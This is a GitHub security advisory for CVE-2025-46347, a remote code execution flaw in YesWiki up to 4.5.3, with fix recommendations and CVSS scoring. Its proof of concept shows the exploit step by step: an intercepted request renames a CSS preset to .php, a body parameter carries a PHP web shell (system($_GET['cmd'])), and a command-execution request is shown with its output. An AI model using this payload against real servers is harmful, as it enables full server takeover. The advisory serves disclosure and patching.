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YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution

High severity GitHub Reviewed Published Apr 28, 2025 in YesWiki/yeswiki • Updated Apr 29, 2025

Package

composer yeswiki/yeswiki (Composer)

Affected versions

<= 4.5.3

Patched versions

4.5.4

Description

Summary

An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.

All testing was performed on a local docker setup running the latest version of the application.

PoC

Proof of Concept

Navigate to http://localhost:8085/?LookWiki which allows you to click Create a new Graphical configuration where you specify some parameters and then click Save.

LookWiki

After clicking save, this request is made (most headers removed for clarity):

POST /?api/templates/custom-presets/test.css HTTP/1.1
Host: localhost:8085

primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif

This request writes the file test.css to disk with the contents (abbreviated)

:root {
  --primary-color: #0c5d6a;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.

e.g. primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E

Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where the PHP code is present.

:root {
  --primary-color: <?php system($_GET['cmd']); ?>;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

Then, simply visit the file with a cmd parameter included.

http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id

And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).

:root {
  --primary-color: uid=501(yeswiki) gid=501 groups=501
;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

injection

Impact

Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.

Fixes

Amongst others:

Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.
Harden server config: Disable PHP execution in user-writable directories

References

@mrflos mrflos published to YesWiki/yeswiki Apr 28, 2025
Published to the GitHub Advisory Database Apr 29, 2025
Reviewed Apr 29, 2025
Published by the National Vulnerability Database Apr 29, 2025
Last updated Apr 29, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(78th percentile)

Weaknesses

Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Learn more on MITRE.

CVE ID

CVE-2025-46347

GHSA ID

GHSA-88xg-v53p-fpvf

Source code

Credits

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